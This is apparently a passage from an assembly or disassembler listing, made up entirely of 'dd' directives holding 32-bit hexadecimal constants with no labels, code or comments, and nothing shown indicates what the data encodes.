dd 0D4282EC3h, 9CD82BB1h, 497959EEh, 8814F631h, 994C3DDFh
dd 66F44979h, 0E486D894h, 390BA1EEh, 0DDE71BBCh, 3B438751h
dd 7CEC11AAh, 2B183FD9h, 5588D5F2h, 0C02DC959h, 0E54F462Ah
dd 44A28F82h, 3DD59F74h, 0B660AB7Fh, 307E23EEh, 504DF04Eh
dd 16F6FEA4h, 0E60CD2h, 82A30BC2h, 0AE6A1B35h, 945ED674h
dd 2E1C68A8h, 8902D423h, 180E80Eh, 0CC3E3CFAh, 4D2903Dh
dd 57365FDFh, 0E89435DBh, 22A0BEAEh, 0B66E30D0h, 0EB5A39D4h
dd 4DF59D55h, 4060B80Eh, 430C7E6Dh, 0D8588C6Fh, 78E2D91Eh
dd 3F8BA8FAh, 0E86B52E6h, 2941EAECh, 5FB19E60h, 438589EAh
dd 9A94E8Ch, 0D0B4DDEh, 0E805994Fh, 1815C0B3h, 0A656211Ah
dd 8D4156EEh, 0EC9B2FEFh, 0A938125h, 4FE302F9h, 0F1367394h
dd 3DF73BA9h, 5F43B1B9h, 7A5395E8h, 0EA64DD8Ah, 7B7754EEh
dd 1EAA0623h, 0AB9B1818h, 0F8912297h, 353F67B8h, 88ED0141h
dd 0EF878A9Dh, 27273293h, 5074D870h, 0D6784F59h, 0DB23CECCh
dd 64017D4Fh, 380B658Ah, 6FD7AD1Ch, 0F6A49A7h, 58362F9Dh
dd 718BD3A6h, 404A5B54h, 485EE815h, 88B7530Eh, 0ABC7F449h
dd 0A568F171h, 40D01196h, 45839B0Ch, 0C7045EDFh, 0EB42BA8Dh
dd 0B24B89C0h, 96742089h, 2F0D7437h, 0D8BEF172h, 36C964CCh
dd 15ECE3DBh, 47589D19h, 1FDF6899h, 5FC4A6FBh, 71A468FEh
dd 0F31F4F15h, 0E84D793Bh, 0B05BF0F3h, 4716210Ah, 4F2F639Bh
dd 62647D30h, 0A0597623h, 39F38B35h, 94AD9907h, 611CE24Eh
dd 55872BC7h, 32368533h, 656D6DB0h, 905C0442h, 0D65B7191h
dd 40268B54h, 333C7042h, 7100FFC3h, 61281A73h, 774B267Fh
dd 22F0BE3h, 0EA65477Dh, 0D6B0350Ch, 53CD9531h, 0A0D39EE7h
dd 7F15268Ah, 0FD7FB2ECh
dd 0A9458267h, 90938CA9h, 0E100EBA3h, 2E3A362Ah, 0D9D48850h
dd 0CE0BA165h, 578B3EAAh, 0EA318E0h, 1A08ECD8h, 69AAAA07h
dd 0DCBEE1F8h, 0DAB614D8h, 1D53D22Bh, 8A5BC9Ch, 0A505E216h
dd 588A2D8Ah, 8C0FD145h, 5695A853h, 192992D4h, 8A36A53Dh
dd 92B584E0h, 0DBE194F2h, 8F77A9D2h, 4E0B82A2h, 2B2E3EB2h
dd 7928B7BFh, 3EDDC6D2h, 1343CF63h, 0C642D63Dh, 0EFA48AABh
dd 31DE362Bh, 0FF765A49h, 3DC1DB09h, 4491F64Ch, 1B4C91D8h
dd 3011A05h, 8C39D48Ah, 42DD164Dh, 2E288AAEh, 0ED910E0Dh
dd 3BE1C2Eh, 7D244FF1h, 4F568178h, 8F8283E1h, 3476863h
dd 53B713h, 1E4ED248h, 0A472AC4Ch, 99BE2C96h, 57AB22E4h
dd 0A8D44BD9h, 0ED502E1Dh, 7AB518B0h, 6FFEC209h, 0CC4A1743h
dd 4468C066h, 0BC6563D0h, 2E2130C4h, 0F8AF3D9Fh, 8095B309h
dd 0B859F052h, 328D5003h, 4EF94AFh, 0BDAB2CBBh, 748C19F5h
dd 8D82206h, 0BDD1CEA2h, 99DF0495h, 0E71CC770h, 0CB8E594h
dd 5F62BCF9h, 452F4D51h, 0B197FF53h, 0E85D1AEDh, 0AA66BCB5h
dd 9EE187Ah, 0F357F90Eh, 0FA2B0767h, 375B78B7h, 9C7AC904h
dd 255A25C8h, 784E7914h, 0F2F7D6ADh, 6BCABC16h, 0C25F7BC5h
dd 0F4BACCC5h, 0CC400FCEh, 0E8608E14h, 407AFBDDh, 679C319Dh
dd 4B346E26h, 3BF02942h, 72127E18h, 0E5A08FB2h, 3E80AE10h
dd 55962F32h, 8220ACBBh, 0F851DA4h, 413195B8h, 8F5FCE25h
dd 0C7DDF572h, 0A5488616h, 16354E8Bh, 0E9E525Dh, 414E812Bh
dd 0FF122C2Fh, 0B1250842h, 3334572Dh, 9CA3C918h, 37F06AF8h
dd 5E58532Ch, 0DE544DA0h, 1140D419h, 8163D8EDh, 0A1BFCBFAh
dd 95C25B7Ch, 0FB6AAD4Ah, 0BCCFB0E5h, 0D4D6B4D3h, 8092E47Ah
dd 804DD42Ah, 0F35E44A5h, 80BF03DCh, 37B60E6Ch, 645F8426h
dd 0E5653B99h, 0D29B64C5h, 0E3837108h, 0FD391812h, 0A1959948h
dd 0FE1A899Ch, 5CC4CCCCh, 5EF82379h, 2BD6C30Ah, 0A0C49F4Bh
dd 6B5282B0h, 95D4BDB9h, 6CCE4862h, 0B03EB13Bh, 0D17C2459h
dd 2E99E3D1h, 0A8CD3A2Ah, 0E1D16F69h, 0A08FA73Eh, 0BB0A11F4h
dd 5EB2D613h, 0E894D1E1h, 0D8A2BB5h, 6D860426h, 3A222857h
dd 0F6D78847h, 5B74DB54h, 0A888FD29h, 0A30D5D95h, 0F864E7FAh
dd 0FDE0F9E0h, 182F0434h, 2BCA6233h, 61117CF2h, 169F3E59h
dd 2032E868h, 0A5AAEB43h, 0FD0BF364h, 0E59F46ADh, 1B0482F3h
dd 39EF4552h, 611286C7h, 8B4CFE7Dh, 0DD3A2C2Eh, 0C838095h
dd 22886A06h, 6D427AE3h, 0E69C20E6h, 2AC575D1h, 926910ABh
dd 0A7350090h, 2870C291h, 144A2FA9h, 0A347FACEh, 7DF056CFh
dd 0A516FCB9h, 0DA6AB183h, 0D78057D1h, 0B1ABC0EDh, 714A599Ah
dd 0FAC79C8Fh, 2D7139B7h, 0E67B9E0Fh, 50709315h, 4AE919B1h
dd 8A47A24Ch, 8B59D186h, 0D7A0E310h, 0C70D2DCCh, 25F3D21h
dd 8876347Fh, 0DBEEF4B2h, 3607A674h, 39D90E03h, 79654D29h
dd 39C260C3h, 96813664h, 0D39FB069h, 0FDBBA20Ch, 0B0833B5Bh
dd 8A194FFAh, 0DAB85405h, 0B73B469Ah, 0E4FE66EBh, 9330799h
dd 67A46BBh, 6B6E45BBh, 1544EFA2h, 0BFE265E5h, 4263CFC0h
dd 1A31720Bh, 4926B0C8h, 4411A9EBh, 7F497E91h, 0FE0348BDh
dd 0DEB33971h, 18F87188h, 71ADE868h, 0B817B23Dh, 7E295233h
dd 8091A095h, 8E1DBAC6h, 0ED8893A6h, 7BD2DAB5h, 40F60604h
dd 0A34DDE02h, 95998ECh, 4E134B82h, 5EE63665h, 91E7435Fh
dd 6D7FA2EFh, 0FF0742FBh, 0CE046689h, 4BC2AD9Dh, 0CAF5882Dh
dd 0A9E488E8h, 106BEBEFh, 3EBF75A9h, 0F2C4722Fh, 0AF045736h
dd 110A245h, 103BE6D0h, 5E37A7DDh, 0D68848F9h, 511971A7h
dd 4B1E0D36h, 0FEF42E4Dh, 0C7D019F3h, 0E9B94D1Fh, 0A60EB5DDh
dd 0B0ED5718h, 0D86847CBh, 0E618F77Dh, 6D901BA3h, 0F0DC2375h
dd 0DAC87E9Eh, 4C780550h, 0E40B94BAh, 91E23676h, 39613AE7h
dd 8DED9902h, 0B1B42BB9h, 0C3DFD039h, 0C2E6514Ah, 0ADE7AC28h
dd 0F83A5828h, 6F84B421h, 0BF09AA91h, 91DB9E53h, 4FA5A9EBh
dd 7076D0B1h, 2EDEEAD8h, 92BBEDF5h, 583228BAh, 64DA9D82h
dd 0BA0501F1h, 3737C250h, 0D6CEFF96h, 74753296h, 1EBE9821h
dd 0C25E61E0h, 0F3F9C860h, 0E48F931Ch, 0DA57E106h, 61F0495Bh
dd 2FB28383h, 8AB91DFDh, 0B0F949D2h, 304523F5h, 67C2DD0h
dd 0F0A1F51Dh, 4512C45Ah, 2E463C4Bh, 0ABD4E651h, 60A72B23h
dd 0DDC0A191h, 0E4541700h, 816D279Ah, 8693FE76h, 9D5414C6h
dd 78045461h, 48B54173h, 0B84EA35Ch, 0DC2EDD3Ah, 679CD407h
dd 71754A6Eh, 0BB100D2Bh, 359EF523h, 33D94993h, 0DC6ACB06h
dd 0C4D5C1C7h, 89395535h, 0BF2B457Ch, 0C30CAAE3h, 4F31C4FBh
dd 0C5907605h, 62ADFB65h, 0D70063EBh, 0D5FABEDEh, 90BCDA43h
dd 38A792EFh, 2039AC1Fh, 0D0D9D072h, 0F276F6D6h, 694B18DEh
dd 0D7B69907h, 76880810h, 969714B3h, 55D38659h, 7A637A4Ch
dd 0EE82B336h, 95770B73h, 0D980B531h, 0D1971977h, 8419D609h
dd 3C25000Fh, 0BD067DC5h, 0FF94B942h, 6D48F417h, 2933D3ACh
dd 9F817787h, 0FF7B45E9h, 0FD339C22h, 1AC528B2h, 36D0663Eh
dd 18F2B126h, 0B462020Ch, 142CF81Dh, 0EDD7F061h, 0F08A07Dh
dd 4E2482B2h, 0FF3DDC04h, 0E163AF12h, 8FF5872Ch, 26A7AD64h
dd 0EA2883A7h, 0D618201Eh, 5B483411h, 2853BFC4h, 0AA5587CEh
dd 9730E9CCh, 9D964514h, 0D08A21F4h, 0C93E95D4h, 537F2A67h
dd 9BC865E8h, 32FB6899h, 1DAC2E78h, 89535EECh, 0B235AADAh
dd 6EB25DE8h, 364B9B82h, 0CB3F1752h, 0BFD46837h, 9FFF2992h
dd 7E5ED74Ah, 0E0125D03h, 11E31C4Eh, 6128E270h, 8757E27Bh
dd 28093B63h, 99DD522Ch, 0E6CCE7EBh, 0D24F9627h, 0FFBDC7E7h
dd 89A9E000h, 4D3B09C3h, 0B490F969h, 9E1F00Fh, 0F01F1954h
dd 0F6E610D6h, 0C01B6EB5h, 27BECD6Ch, 0D28D7683h, 46191F82h
dd 0DBB9500Fh, 0C5D835A6h, 1FAB59DFh, 0B6A5305Dh, 0BB637CCBh
dd 0A2876775h, 982B8DC9h, 0A398B89Eh, 7F6BFB0Ah, 0F76E8637h
dd 490F5AD2h, 97E5C2B4h, 0FE5E1F00h, 0B4B388C6h, 1D87D9B9h
dd 3D1AE8AEh, 0A1E4F040h, 301A6A69h, 25F16CABh, 6A04BF2Ah
dd 27996EF9h, 0E6CCCF25h, 89B8AE28h, 80D045C4h, 138E2206h
dd 3A2AE01h, 0D829F0Eh, 0BB3DF82Bh, 0C1997CEBh, 0A509DEEh
dd 2E8E05D6h, 0D00A2E5Ch, 0A3BD6D1Eh, 3AE63F43h, 13BCE04Bh
dd 789F04E8h, 4D342323h, 0D9E16FA4h, 0E305E223h, 271D4EE6h
dd 0BA597FF7h, 0EC0A659Bh, 21F5F4A0h, 6D2B55EAh, 8264D79Bh
dd 0D39AC166h, 0C10608DAh, 2BD528C1h, 1715778Ch, 0AB7CF258h
dd 63D28539h, 0EDC8C085h, 5C27FE7Bh, 6B03E896h, 2EC8BFADh
dd 0FFEC5704h, 4588CE9Dh, 8DBB289Ch, 0FD59AA7Fh, 0BBB15DB7h
dd 4280CB84h, 0E1C16FD8h, 381031D2h, 0D2D85B83h, 5F71B967h
dd 2D86D8B6h, 2BB62438h, 471E512Eh, 0C7EBA0D3h, 2A1FE0BFh
dd 2D7D48E2h, 7F392484h, 0D72D5C07h, 0D8EFE130h, 710738F5h
dd 0B1C2F42Dh, 56E6B4CCh, 3EA4D8AFh, 0FC9E7159h, 1C46BB1Bh
dd 3DCF998h, 0E2A64B1Eh, 9CC8F94Dh, 0AE2A76Ah, 0E4DA664Eh
dd 31D97CAFh, 4C26C49Ah, 0CE6C0990h, 0D0073018h, 0F1684C78h
dd 2BE22233h, 4CA2389h, 0FB422C80h, 67030835h, 5FC00BC9h
dd 412F3984h, 81769A03h, 149B4385h, 0C106ACBCh, 5C61E083h
dd 0CD5F7006h, 91D1B94h, 0FE600A8Fh, 0E3447055h, 0A8DFC243h
dd 12E022CEh, 6878387Ah, 63ECD315h, 0C4BFE622h, 35231B95h
dd 3C537AB7h, 938B0CA1h
dd 255BDD60h, 0EBA646C7h, 0CDD6A5C2h, 504EEDB8h, 0DD25F71Ch
dd 908EE6FEh, 25861AEBh, 4557CA88h, 0CCC16DD8h, 0F85613A7h
dd 482661B4h, 0D31987BFh, 369F32E8h, 0CDAF1993h, 0C2C1C9DBh
dd 0A8D7C784h, 377E817Bh, 0E355D6A9h, 31B0A2E1h, 5F2600DFh
dd 3DA5B19Ch, 930DE636h, 1132CA2Ch, 5912FA29h, 0E6CFC708h
dd 4E923797h, 982D0C5Eh, 0E8BEB4A6h, 949FEAD4h, 353FCF4Bh
dd 86E75315h, 4A50B596h, 9836B7A9h, 0BA1F9D5h, 3A3834ECh
dd 5C73CD0Ah, 16D54AA7h, 6C4A9686h, 0F4D4EBFFh, 683B213Ch
dd 0D00393EBh, 7EEAE8Dh, 0C513489Bh, 0A81FF708h, 38162277h
dd 4421351Ch, 994FAACAh, 0D482227h, 20C9106Ah, 0FA6FBBEh
dd 93548F3Ah, 3CC0EBCEh, 57411FB8h, 0A68A3CA4h, 3968C3EEh
dd 21EAE568h, 18F3D0A1h, 117FCFC5h, 0D90D86C2h, 2ED39C89h
dd 4BD61790h, 87FED7ACh, 974F7EAEh, 38316F48h, 1CFACE57h
dd 22670AB5h, 0E18D4155h, 0AF72EBF6h, 79C92DA8h, 0D0951020h
dd 0D2D51698h, 0F5DF680Fh, 570CDC87h, 0C8C246BCh, 942BEDE0h
dd 0F1DCAB7h, 0CB474819h, 24787382h, 0A987B71h, 8708735Fh
dd 0C6B2A709h, 86104C48h, 87D14C8Ch, 0AA501851h, 0A9EC0A61h
dd 0E5B82765h, 5FE1F118h, 3BA943ABh, 4030F93Eh, 0C02B7B6Ah
dd 0B27BA4BBh, 0ED22AC18h, 721EABA6h, 0E5723A5h, 0AB248B1h
dd 1CEE3E8Fh, 0B4210EDFh, 412210D3h, 41ED0137h, 46EB6CC3h
dd 0F852FE8Bh, 128CC1FDh, 8089FFh, 45192BA4h, 0A41EEEDDh
dd 9BD996EEh, 0AEA3FCC4h, 3ADD8067h, 571064A0h, 5B7F6683h
dd 0F1C3F882h, 1478AEA5h, 0CFBFEDC2h, 126F7955h, 382E09B5h
dd 0F6B3D31Eh, 5B0ECAB6h, 78CFD21Eh, 0DA47B633h, 0DFA82CFCh
dd 11C390E7h, 0AFAE2F9Ah, 0BA47553Dh, 38442C00h, 1971FCA9h
dd 0C09BDB6Ah, 6B277CA6h, 0A9F5245Ch, 721F0ED9h, 7D45A27h
dd 0EA2CC56Fh, 0B9B02B6Eh, 1FE722ECh, 0A69F078Fh, 4E8F53B5h
dd 73208FB3h, 9478BF27h, 2EB42F7Fh, 0C482C9C5h, 6DEC670h
dd 6EEBBD01h, 73FBC3A2h, 60147A2Ah, 0CFA0F21Dh, 0BBFA68EBh
dd 7948D9A8h, 0B3BE0045h, 1F61BBDFh, 0FA75CF2Ah, 0C9C9A41Bh
dd 9E097DE8h, 3EF9B25Dh, 3C17CD59h, 0EA61080Bh, 996E8F17h
dd 0B4F4B6A9h, 0A2BDBB16h, 24F90A1Eh, 960B8ADDh, 0B917EE30h
dd 0E7F7B8F3h, 0B73259CEh, 594CADB6h, 2A5BA6A5h, 0C651FB00h
dd 89033E2Bh, 0C650E9AEh, 78250CDBh, 5213D595h, 3D84211h
dd 0D1DE21B0h, 99C3BFB5h, 0DAB00E3h, 0B289F9FFh, 9E9C9F04h
dd 0CCF722F1h, 0A2EA5D75h, 3C585038h, 0CC1506E2h, 99C236A5h
dd 9C604B3h, 0EDC47DFAh, 0AF9FB1A7h, 980D7CAAh, 16650379h
dd 6ECEA4C4h, 1101AAE4h, 8204AA22h, 0C16E14DDh, 7D05928Ch
dd 21E803ADh, 143CFC94h, 9F462C18h, 297B8BCCh, 98C411D2h
dd 0FB1E1F3Dh, 0DC8CCFEAh, 0AF900565h, 0F8186526h, 2F15D342h
dd 3F00D33Bh, 2800DEB3h, 68D737Ch, 0CC90FC2Ch, 2481D3Fh
dd 3B01C5F8h, 0DCB15D2h, 3F00F6D5h, 6F5AE7A2h, 47BF4501h
dd 51BFB574h, 221CE4E4h, 0C1BFC2E7h, 0ACE29B99h, 81CACF85h
dd 41E00B5Bh, 9F623972h, 1C6FD9FFh, 6553A2C1h, 5304B836h
dd 8C1F4A3h, 7B0252C9h, 9E1E8DAFh, 60A41E8Dh, 857AB6E0h
dd 4952B668h, 2FE19C18h, 31E15E5h, 0E090EDB1h, 0C7746D7Ah
dd 5EAE7E95h, 7A975E2Eh, 0B60BA673h, 611488ABh, 0DD096904h
dd 89685FC7h, 4F5AA58Ch, 0B830901h, 247A8749h, 0C62396F2h
dd 0AD388624h, 0B1DB1884h, 51599FE3h, 79FD2F15h, 0A1B9EC06h
dd 67ED5D40h, 5EB0E88Ch, 0EDEE5610h, 430366B9h, 3956FD04h
dd 7C8B2032h, 7A829885h, 53BA77E6h, 602C91A3h, 0AF46832Ch
dd 818FE0CBh, 960EAA89h, 1A35F255h, 9945F206h, 1E2C1178h
dd 7AB4061Fh, 708FEB30h, 82B557F3h, 5162F741h, 389CCC90h
dd 875C4AE6h, 0B60BBC0Fh, 6F8C908Fh, 17D5882Eh, 76817963h
dd 0C898F1FCh, 0DDBFE9C0h, 75FE87F1h, 3450ED45h, 64206759h
dd 36BF78C3h, 63543532h, 96F5108Ah, 0DAB2242Fh, 0B653133h
dd 0D04E79AFh, 0CB73F0CBh, 0DFEF61BEh, 3041F525h, 3EB568BAh
dd 0A82BD1A0h, 952FE24Bh, 0F029E849h, 6D4A9990h, 44646C94h
dd 0D6950E35h, 8BD1F6DDh, 14C8C87Ch, 0C1A40FEAh, 331CFC9Eh
dd 547C694Dh, 0E4B8E2C7h, 17E549EAh, 20F87A91h, 3B27B0E4h
dd 0B93663E8h, 75FAD053h, 2B9CC01Ah, 0ABDFC663h, 0DF994114h
dd 52FB885Eh, 0E78425B7h, 0E41125EBh, 3B5244DAh, 0F4AB68D4h
dd 54259BE1h, 15BCF869h, 0A6BE8188h, 5B713D9h, 0BBCB4465h
dd 0B597FA53h, 740AEAADh, 0E76CACB8h, 5D1B8520h, 0B7739D50h
dd 0BF875A81h, 0A4613F16h, 5B6D1758h, 0D31736CEh, 92716E09h
dd 0CEE39A57h, 5E1BFC65h, 0CCCFBFA4h, 7F0E2604h, 0DF845989h
dd 0B14431E3h, 0C91DC2C9h, 42013260h, 1FFB1530h, 683C003Ch
dd 3346299Ah, 0AF34BCF1h, 0ED4556E4h, 0AF539BCAh, 39D8E1AAh
dd 0D5C5310h, 0AFD868A1h, 0EDC12B46h, 9E0CE0DBh, 2AFBE708h
dd 0B84E2F96h, 47612EF2h, 0B64494F4h, 61231DDCh, 0B7A9E42Bh
dd 0CB3881D7h, 827B980Ah, 5933C5C8h, 0B7BED965h, 0CDD3103Ah
dd 0CB978412h, 0F3A8306Ch, 43907E36h, 2A9F565Eh, 4956FF07h
dd 11670B8h, 0FAD75B0Dh, 60490D48h, 6C8B87BDh, 9F0AE49Ah
dd 0A0BE936Eh, 0EE389DA8h, 85FBC7EFh, 7E39AB71h, 1F88C811h
dd 0E731C33Fh, 0DB6914Eh, 9F54BB8Fh, 0F7CE8F40h, 60DA12F2h
dd 21527324h, 3E39E3C2h, 0CFBD34EDh, 52134694h, 594D0BEDh
dd 18B2DF57h, 0B8AFF05Fh, 2C96A8F2h, 15E91289h, 262D1A15h
dd 8E7D494Fh, 0AF5E9F3Eh, 0AC201786h, 0A82D46CAh, 8A1A5CEDh
dd 8007663Ah, 0E08C864Dh, 0FB0A8A52h, 3A66F321h, 1F12C268h
dd 99753F2Bh, 0C2F4AF2Ch, 2E014515h, 3C14541h, 0A3AB667h
dd 0EC5587D2h, 4A4A573Eh, 0F793BFB2h, 0D5629D8Dh, 0EA265A4Eh
dd 0C9A6125Dh, 54A47586h, 0D391E702h, 7077503Ah, 0FD55B46Fh
dd 4498193Fh, 146D3E79h, 0CA2CB59Bh, 23155542h, 0BA6770B6h
dd 9F128EBDh, 2E0DD9F9h, 9D2711ADh, 0ED30D059h, 0BA6AEBD8h
dd 700B3B75h, 2F074EE4h, 26A780E2h, 96B0603Ah, 94220B2Fh
dd 70ABD8FEh, 43C5093Fh, 29627A97h, 99EBD241h, 7C5EA9C3h
dd 130C56E4h, 9B83D5F3h, 13FB7A83h, 0A9DD8ED0h, 86D7A56Ah
dd 52CFE822h, 60294165h, 0BF6DFB81h, 47C8C2FCh, 2831255Eh
dd 0F9AA3D47h, 0E84C17C1h, 5C739483h, 353CA27Fh, 0FB30DA2Eh
dd 1D261095h, 40EA4921h, 8C770D60h, 7506C194h, 0E4C0205h
dd 5F6514CEh, 0C3994DE2h, 8E3EE991h, 4FA1B4F2h, 0FE46764Ah
dd 5047BA45h, 5AC66181h, 60F64D9Bh, 0F9E391AEh, 0EC656154h
dd 0EDFB7FA8h, 1C19BB40h, 62C97AA0h, 212E4BEEh, 0C6A5F227h
dd 3713D86Fh, 5EECFF10h, 1569821Dh, 64667ACEh, 352EA499h
dd 0E95E72D3h, 924EBB26h, 46109AAh, 46629BF0h, 71773017h
dd 0DDA6655h, 0D2225FFAh, 254BA5AFh, 0DC9A5A8Bh, 0E094DFEAh
dd 3217A6D4h, 1028BC3Ch, 50957519h, 0ADB7122Fh, 2E6CFC7Bh
dd 0D1DB92F0h, 8813901Eh, 5DC333A8h, 0C866F5B3h, 34A9A753h
dd 250D1D99h, 5F9E6E79h, 8D74E4A3h, 0F8C0E6F3h, 60BB4290h
dd 65C80259h, 0FEEA93C7h, 339680DEh, 176CCC03h, 41D0D27Ah
dd 231F33Bh, 393CB31Eh, 501A0321h, 0BFF06412h, 2D5989BAh
dd 0DCCA1E94h, 1C2FC48Dh, 7DA64A6Ah, 0E8732BDCh, 56AD541Bh
dd 38361CBEh, 0D5A26779h
dd 0DA5E8763h, 1C7DF3C0h, 9FB1AACFh, 0A26EA723h, 3C04EB8Eh
dd 0C4865C92h, 0F6B6222Bh, 0E07EB439h, 448EB392h, 572E78h
dd 3704440Bh, 0B2ECD748h, 9B68EE26h, 0D24297DAh, 9403483Eh
dd 6E19439Ah, 9456FF75h, 0D076DA38h, 0BF440F57h, 6CBFF7Ah
dd 0C820875Ah, 912E88DBh, 0B3BDA6A2h, 0E0B097F4h, 55406DFh
dd 0F10DF551h, 401B00E6h, 0D6DADBD9h, 8ADEAC8Dh, 874AD359h
dd 0A85A49FFh, 0CD09A2A4h, 0FB3FDF84h, 32C03235h, 0A1074861h
dd 0C466BDA3h, 0ACB5977Ch, 0FB61C53Fh, 823145A6h, 0FD8C6DE9h
dd 7769A4BDh, 0EC1D7BADh, 412AB8BBh, 96C92CB8h, 62123002h
dd 0C7FB1BF6h, 0ACCCFC2Ch, 7E7C79A1h, 0A3947F97h, 3DFC675Fh
dd 5F55A287h, 6035958Dh, 0C8D6C61h, 0AF21E3E9h, 788EEB94h
dd 1B3D97ADh, 0D93A526h, 0A15AB2AFh, 0FC279CF5h, 72CA9853h
dd 0E0FEA11h, 0EC518919h, 0E620726Ah, 5E03FED7h, 0B3F2D651h
dd 344621A2h, 6D025E15h, 21A24234h, 0DF79C85Bh, 8B4F13Ch
dd 7B7D9AA3h, 0EF1BFF79h, 0CE2B1D9Ah, 7C91F5EFh, 3E1670BCh
dd 6579B1E2h, 0FBB07CE7h, 0DF84A091h, 600DDF8Ah, 0AB16BC32h
dd 0D74B7FE1h, 32EEB169h, 215B65EFh, 0D74039Dh, 0F28F52DCh
dd 51138B47h, 969F9DC8h, 959081F5h, 455B7468h, 6A7B962Ah
dd 0DAD13E6Eh, 6CA94E67h, 5BF62751h, 0E95F9D8h, 0E65D5632h
dd 2D6B0355h, 0B0A2D394h, 57A5FCA1h, 3FBDC17Dh, 22C73C5Ch
dd 0A13A4DD8h, 2164B9CFh, 0DB5C9601h, 0EA2F5A52h, 3DBAA171h
dd 621B17B6h, 78A5BCDDh, 1355B037h, 6C02D318h, 4060C171h
dd 4253EC4Ah, 87C2E6E9h, 50616A94h, 0DDD0C644h, 960B9439h
dd 51DD99EDh, 9A60D07Ch, 0EDB89520h, 986344E6h, 13F570Ah
dd 0EB2F171Fh, 8CD49CCDh, 929B7A8Fh, 6DC4B113h, 676CD93Ah
dd 0BE326BDEh, 0C05F8063h, 5D9D6E9h, 861CBF6Bh, 9E3D01F2h
dd 0A97F800Ch, 3A409DAFh, 465318B2h, 465F5D9Ah, 540C9D4Ch
dd 0DE942942h, 7B779D26h, 0A21C66D2h, 0EF7742C2h, 60A23DDFh
dd 0A3B1A35Bh, 2A745F33h, 0FCC7FCA8h, 5F52495Ch, 0A2167913h
dd 354673F7h, 2B07C7EEh, 11C4BF10h, 31A96D64h, 2CE64948h
dd 76062785h, 89C28A1h, 256A0429h, 0C9E49E3Bh, 4C6DA59Ch
dd 0D3E75AF4h, 9E94B08Bh, 0F2CF42E1h, 35D04748h, 0DC8EB9EBh
dd 97311DF7h, 733FC632h, 0FBC6F03h, 0FCAE9929h, 3BA58304h
dd 0E571C3FCh, 6DDAFCAEh, 24B4BF3Fh, 6761E5D5h, 36102AD9h
dd 2ED80B37h, 7651B3B2h, 0C9AD6585h, 5B193F15h, 1346FDE4h
dd 89187444h, 20590A6Eh, 53DCD52h, 0DD6B6569h, 0B7AD7092h
dd 0A07C1394h, 69EC87DDh, 7867E5EBh, 35B1C1AFh, 409CA64Dh
dd 0F7E0A8B9h, 8B89011Bh, 0C10BC43Fh, 0D9153AE7h, 0DF68600h
dd 5E0F332Ah, 639FD0B1h, 0B5D0652Bh, 0AA44F220h, 9B91F970h
dd 9C69E692h, 3E372C6Ch, 0CD47C445h, 3A1FC52Fh, 6B641A7h
dd 0ED84B7C0h, 0A21F116Fh, 137E2502h, 0F1402DA1h, 0DFA45EECh
dd 4F14A354h, 0B86834E4h, 9B759825h, 12442EF4h, 928781Eh
dd 0E6007173h, 0B48C5DBDh, 5EFE9989h, 0A13CF304h, 0F90F35AFh
dd 0D5BA90D0h, 59C32CACh, 8ED27176h, 38590548h, 14E8D3D7h
dd 0EBE09C5Eh, 44471EFh, 0F6406EC1h, 0D0DC68D9h, 3E12D87Bh
dd 0E41C406Eh, 4AC977EDh, 32FFE605h, 5C4DC309h, 515C98E6h
dd 93BF3Bh, 655A60B9h, 685C696Ah, 9A7383C6h, 0F7676C48h
dd 0B8C12309h, 5BC521D6h, 0E5248CC6h, 0ED93F079h, 8D21DAB2h
dd 8C6BAD55h, 3A60F3Eh, 0E5F3DE1Bh, 321A96F0h, 0E002CAE5h
dd 0D29BAC31h, 7A621F6Ah, 356028C2h, 38F80547h, 6FEC840Ch
dd 4D209ED2h, 0FA40075Fh, 0D569F3D9h, 81958E1Ch, 0ACEA0CC6h
dd 139757E4h, 811AE0A0h, 81C0D7DFh, 7B157A9h, 0E78B64DBh
dd 9553CF5Ch, 5167EBD0h, 0D99AA607h, 5EECD32Bh, 46CC3DFCh
dd 0F82E1B88h, 588087D9h, 68D5977Fh, 325B26B0h, 3F99A2C0h
dd 0CA9CAD0h, 116EF666h, 8701AD28h, 9A1BFFF9h, 0A6F9F298h
dd 4F1648CCh, 0AF330188h, 7ADEEBF0h, 0DA4D2FB8h, 24D645B4h
dd 0F938952Ah, 3767352Ah, 6F9EC25Ch, 609D1188h, 73CE47DEh
dd 0ED190D77h, 2966BE35h, 0EE23F4AFh, 9D02BD1h, 0D10F8463h
dd 74C4010Eh, 59C0E4C1h, 0D5F17188h, 58C54E0Ch, 67E7057Ch
dd 13C4EC41h, 507DF718h, 0FD76F7B3h, 8BAA3731h, 4331F315h
dd 297D36AFh, 0A4653DDBh, 4B6C7F26h, 3251DE56h, 6F7C830Dh
dd 0EE961C02h, 50450C35h, 8F3B5E38h, 30BEDD36h, 50D82AF6h
dd 55438446h, 34F287CFh, 0CFBA96E9h, 232FFB5Ch, 0D210A212h
dd 0F51DA815h, 3D161EB3h, 5371A807h, 0C71846E1h, 72590A5Fh
dd 0ECB0BE30h, 7CAA191Eh, 976FD844h, 6B57D819h, 0A0831C38h
dd 0D31FA806h, 7EF8B92Dh, 5E158BBEh, 0B2F831F0h, 0C9D8981h
dd 277F9489h, 0A5C3D9DBh, 25D095Bh, 0B6ACBF31h, 61738868h
dd 8762B1A2h, 915C0AC1h, 44301723h, 5A38A319h, 0E7278C49h
dd 0DC48BDEDh, 4FA64724h, 0B322128Fh, 0D2B26AF7h, 0DB18A4E7h
dd 0D16BCC23h, 49428D4Eh, 0DAF1E7B2h, 79D94C9Eh, 0F3EA721h
dd 38F99B2Bh, 654513A5h, 95D6AC01h, 0EA427233h, 0C50405D1h
dd 8871FE7h, 78DB94Fh, 70F318AEh, 0F33BF1F7h, 8D752675h
dd 0C42A635Ah, 0E6380809h, 4D46C88h, 6FC57BA1h, 0E1E2B7F8h
dd 274CF61Fh, 0F70EA22Ch, 7AE3E224h, 0ED4FC870h, 9E0BB8B4h
dd 0FB608562h, 0F9A22DC8h, 0FD0B8E17h, 4B720C92h, 7C1E0A92h
dd 824BEECAh, 51F54893h, 9689D733h, 0F146808Ah, 0D0FA57BDh
dd 53E00C96h, 0BA70496Eh, 0C626CA0Bh, 0BB83A590h, 0A25955DBh
dd 9B9C47E9h, 0D6162F85h, 0BAD84F39h, 31BB12A1h, 8CC2BD34h
dd 7F696CDFh, 351F7B1Eh, 6C3F4209h, 0AD3DBFFh, 9782437h
dd 0D1FA7A64h, 0BC9B7F8h, 84D034Ah, 3647A27h, 50003A24h
dd 4EE38D3Dh, 60AB748Ah, 993EE365h, 0DFE67C52h, 51E83E5Dh
dd 0B004EA69h, 92E92614h, 1E3FF65Dh, 1BBF6551h, 0B64183Dh
